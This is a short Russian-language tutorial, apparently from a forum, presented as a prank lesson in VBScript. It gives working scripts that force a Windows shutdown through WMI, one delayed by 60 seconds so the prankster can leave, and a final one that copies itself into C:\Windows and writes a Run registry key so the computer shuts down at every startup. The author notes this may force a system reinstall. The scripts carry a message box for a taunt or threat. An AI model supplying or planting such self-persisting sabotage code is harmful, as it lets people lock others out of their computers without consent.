Все, перестану мучить теорией, перейдем к практике! В этом уроке вы увидите, как можно выключить компьютер.
Code
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
msgbox "[color=red]Ваш текст, от насмешки до угрозы :)[/color]"
А теперь сделаем так, чтобы вы успели убежать после того, как поставили западло (60 секунд):
Создаем файл 1.vbs
Пишем:
Code
WScript.Sleep 60000
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
msgbox "[color=red]Ваш текст, от насмешки до угрозы :)[/color]"
Самое опасное (вплоть до переустановки системы): комп при включении сразу вырубается (напомню, файл - 1.vbs)
Code
Set FSO=CreateObject("Scripting.FileSystemObject") ' Получаем доступ к обьекту FSO
FSO.CopyFile "1.vbs", "C:\Windows\" 'Копируем второй скрипт из текущей дирeктории на хард юзера
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Window", "C:\Windows\1.vbs"
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
msgbox "[color=red]Ваш текст, от насмешки до угрозы :)[/color]"
